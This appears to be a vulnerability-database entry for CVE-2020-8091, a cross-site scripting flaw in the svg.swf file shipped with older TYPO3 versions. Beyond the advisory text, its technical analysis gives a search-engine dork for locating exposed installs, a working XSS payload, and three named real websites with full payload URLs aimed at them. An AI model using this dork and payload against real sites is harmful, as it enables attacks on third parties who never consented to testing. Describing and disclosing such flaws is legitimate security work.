Moderate
CVE-2020-8091
CVE ID
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CVE-2020-8091
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
svg.swf in TYPO3 6.2.0 to 6.2.38 ELTS and 7.0.0 to 7.1.0 could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack on a targeted system. This may be at a contrib/websvg/svg.swf pathname.
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Ratings
-
Attacker ValueMedium
-
ExploitabilityVery High
Technical Analysis
DESCRIPTION-
TYPO3 6.2.0 to 6.2.38 ELTS and TYPO3 7.0.0 to 7.1.0 (CVE-2020-8091). These versions embed a third-party component named SVG Web which provides svg.swf, a Flash file vulnerable to cross-site scripting.
Google Dork
inurl:"typo3/contrib/websvg"
Works on IE
PROOF OF CONCEPT-
Payload: svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert("XSS"),this.x=1}//
Live sites:
https://www.bulac.fr/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}// www.roz.si/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}// www.urbanek-consulting.com/typo3/contrib/websvg/svg.swf?uniqueId=%22])}catch(e){if(!this.x)alert(%22XSS%22),this.x=1}//
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General Information
Vendors
- typo3
Products
- typo3
References
Additional Info
Technical Analysis
Report as Exploited in the Wild
CVE ID
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